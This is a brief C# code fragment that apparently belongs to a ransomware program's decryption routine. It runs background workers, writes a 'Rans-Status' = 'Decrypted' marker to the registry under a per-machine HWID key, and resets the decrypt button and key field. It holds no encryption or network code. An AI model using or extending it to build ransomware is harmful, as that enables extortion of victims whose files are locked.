public void Dec() { try { BackgroundWorker1.WorkerSupportsCancellation = true; BackgroundWorker1.RunWorkerAsync(); BackgroundWorker2.WorkerSupportsCancellation = true; BackgroundWorker2.RunWorkerAsync(); BackgroundWorker3.WorkerSupportsCancellation = true; BackgroundWorker3.RunWorkerAsync(); while (Finished != 3) { System.Threading.Thread.Sleep(50); } if (OK) { Registry.SetValue(@"HKEY_CURRENT_USER\Software\" + HWID(), "Rans-Status", "Decrypted"); Interaction.MsgBox("Done!", MsgBoxStyle.SystemModal); } Finished = 0; Pass = string.Empty; btnDecrypt.Enabled = true; btnDecrypt.Text = "Decrypt"; txtKey.ReadOnly = false; } catch (Exception ex) { } }
private void BackgroundWorker2RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e) { DelDulp_ProgressBar.Value = 0; BackgroundWorker3.RunWorkerAsync(0); }